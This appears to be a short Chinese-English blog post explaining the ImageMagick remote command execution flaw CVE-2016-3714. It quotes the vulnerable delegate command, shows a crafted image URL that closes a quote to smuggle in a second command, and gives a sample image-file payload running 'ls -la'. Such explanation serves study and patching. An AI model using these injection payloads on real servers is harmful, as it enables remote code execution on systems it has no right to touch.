ImageMagick Remote Command Execute
CVE ID: CVE-2016-3714
我挺纠结应该用中文写博客还是应该用英文写博客。英文吧作用挺明显的,可以锻炼自己的英语表达能力,但是可能会阻碍和一些英文不好的朋友交流。
It's upsetting to determine whether to write blog in English or in Chinese.Absolutely, I can train my capability of expression.But it may be in the way of communication of friends.
先拿中文写吧。
I will write in Chinese at present.
由于ImageMagick在Java/PHP/Python等库中应用广泛,所以在全世界各种网站中十分流行。因此这个RCE就十分严重了。
问题理解起来十分简单,ImageMagick在处理url为https开头的图片时,对于图片地址字符串没有进行过滤就直接放入system()执行,导致存在命令注入:
" <delegate decode=\"https\" command=\""wget" -q -O "%o" "https:%M"\"/>"
status=system(sanitize_command);
注意,%M是占位符,代表图片url。所以command实际上是:
"wget" -q -O "%o" "https:%M"
那么如果我们的图片url是类似于下面的:
https://example.com"|ls "-al
则command变成了:
"wget" -q -O "%o" "https://example.com" | ls "-al"
也就是说,引号被提前闭合了(跟基本的SQL注入很像吧)
在本地测试一下:

成功执行了ls -al
我们可以把命令写入一个图片中:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context
保存为x.png:

End:
哎人艰不拆人艰不拆,你们这种漏洞真的好嘛 : )
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